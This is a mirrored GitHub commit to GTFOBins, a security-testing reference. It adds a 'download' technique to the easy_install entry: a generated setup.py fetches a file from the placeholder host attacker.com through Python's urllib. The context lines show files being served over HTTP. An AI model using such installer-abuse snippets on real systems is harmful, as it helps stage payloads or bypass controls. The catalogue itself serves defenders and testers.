mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 09:34:56 +02:00
Add download to easy_install
This commit is contained in:
@@ -36,6 +36,18 @@ functions:
|
|||||||
else: import SimpleHTTPServer as s, SocketServer as ss
|
else: import SimpleHTTPServer as s, SocketServer as ss
|
||||||
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
|
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
|
||||||
easy_install $TF
|
easy_install $TF
|
||||||
|
download:
|
||||||
|
- description: Fetch a remote file via HTTP GET request. It needs an absolute local file path.
|
||||||
|
code: |
|
||||||
|
export URL=http://attacker.com/file_to_get
|
||||||
|
export LFILE=/tmp/file_to_save
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo "import os;
|
||||||
|
os.execl('$(whereis python)', '$(whereis python)', '-c', \"\"\"import sys;
|
||||||
|
if sys.version_info.major == 3: import urllib.request as r
|
||||||
|
else: import urllib as r
|
||||||
|
r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py
|
||||||
|
pip install $TF
|
||||||
file-write:
|
file-write:
|
||||||
- description: It needs an absolute local file path.
|
- description: It needs an absolute local file path.
|
||||||
code: |
|
code: |
|
||||||
|
Reference in New Issue
Block a user